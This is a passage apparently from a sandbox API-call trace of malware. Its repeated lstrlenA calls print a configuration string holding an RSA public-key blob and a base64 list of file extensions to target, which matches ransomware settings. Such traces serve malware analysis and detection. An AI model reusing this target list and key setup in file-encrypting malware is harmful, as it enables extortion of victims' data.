ZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsI